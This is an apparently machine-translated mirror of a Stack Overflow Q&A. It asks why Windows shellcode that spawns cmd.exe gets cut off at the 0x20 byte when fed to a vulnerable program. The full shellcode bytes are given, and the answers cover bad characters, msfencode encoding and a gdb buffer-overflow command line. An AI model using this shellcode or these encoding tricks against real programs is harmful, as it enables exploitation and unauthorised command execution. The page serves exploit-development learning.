为何我的shellcode被\x20操作码后截断,当由字符串复制到堆栈上的第二脆弱程序?

--cmd.exe--
 char shell[]=

"\xc7\x44\x24\x0c\x65\x78\x65\x20" ← only this line is put in stack, though hv a enough space 
"\xc7\x44\x24\x08\x63\x6d\x64\x2e"
"\x31\xc0"
"\x89\x44\x24\x04"
"\x8d\x44\x24\x08"
"\x89\x04\x24"
"\x8d\x05\xad\x23\x86\x7c"
"\xff\xd0";
--end shell--
有帮助吗?

解决方案

您通过这个shellcode的作为命令行参数?在这种情况下,看看该ASCII代码为0x20;)

其他提示

我的理论是,之类的东西报价,空间,空,等正在由Windows外壳的解释,而不是通过发送。你能设法逃脱,但我觉得它更容易只是编码的shellcode。因此,尝试Metasploit工具的msfencode工具完全避免这些操作码。我知道空(/ X00),空间(/ X20)和引号(/ X22)不能直接通过,但我想,有一些无法通过,以及其他操作码。

这是我的解决方案,但没有人知道任何其他的是更好的?

把围绕整个命令一个双引号。 例如,运行:

"$shellcode" (gdb)r "$(python -c 'print "\x41" * 100 + "\x20\x83\x04\x08" + ....')"
许可以下: CC-BY-SA归因
不隶属于 StackOverflow
scroll top